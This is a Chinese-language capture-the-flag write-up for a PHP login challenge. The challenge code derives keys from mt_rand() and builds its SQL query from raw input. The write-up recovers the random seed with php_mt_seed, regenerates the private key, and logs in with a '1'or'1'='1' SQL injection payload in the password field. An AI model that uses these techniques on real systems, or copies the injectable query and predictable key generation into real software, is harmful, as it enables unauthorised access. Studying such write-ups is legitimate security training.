<?php 
header(‘Content-type:text/html; charset=utf-8‘);
error_reporting(0);
if(isset($_POST[‘login‘])){
    $username = $_POST[‘username‘];
    $password = $_POST[‘password‘];
    $Private_key = $_POST[‘Private_key‘];
    if (($username == ‘‘) || ($password == ‘‘) ||($Private_key == ‘‘)) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header(‘refresh:2; url=login.html‘);
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != ‘*************‘ )
    {
        header(‘refresh:2; url=login.html‘);
        echo "假密钥，咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }

    else{
        if($Private_key === ‘************‘){
        $getuser = "SELECT flag FROM user WHERE username= ‘crispr‘ AND password = ‘$password‘".‘;‘; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 
// genarate public_key 
function public_key($length = 16) {
    $strings1 = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789‘;
    $public_key = ‘‘;
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789‘;
    $private_key = ‘‘;
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr‘s private_key???

主要逻辑就是利用mt_rand()函数生成公钥和私钥，利用伪随机数漏洞可以爆破出种子，然后本地生成私钥，因为这里的随机数种子没有进行加盐处理，而是使用mt_rand()之前自动生成的，因此可以爆破。

使用php_mt_seed进行爆破，首先根据公钥生成可直接利用的数据。

找到种子1775196155，接下来按照源码的函数模拟私钥的生成。

<?php
mt_srand(1775196155);
function public_key($length = 16)
{
    $strings1 = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789‘;
    $public_key = ‘‘;
    for ($i = 0; $i < $length; $i++)
        $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
}

//genarate private_key
function private_key($length = 12)
{
    $strings2 = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789‘;
    $private_key = ‘‘;
    for ($i = 0; $i < $length; $i++)
        $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
}
$Public_key = public_key();
$private_key = private_key();
echo ‘Public_key is: ‘ . $Public_key . "\n";
echo ‘private_key is: ‘ . $private_key;

// Public_key is: BNC8lyED7y8Pdyms
// private_key is: 3NxjlpuxSI5y

这里有个问题，本地环境是php7.4.3生成的公钥对不上，密钥自然也就用不了，在php5.6的环境下成功拿到密钥。

Public_key is: KVQP0LdJKRaV3n9D
$private_key is: XuNhoueCDCGc?

在login.php中POST:

?login=1&username=admin&password=1‘or‘1‘=‘1&Private_key=XuNhoueCDCGc

得到flag：flag{e852f533-d558-4c4d-8fba-fc8a1139af80}

--By Wander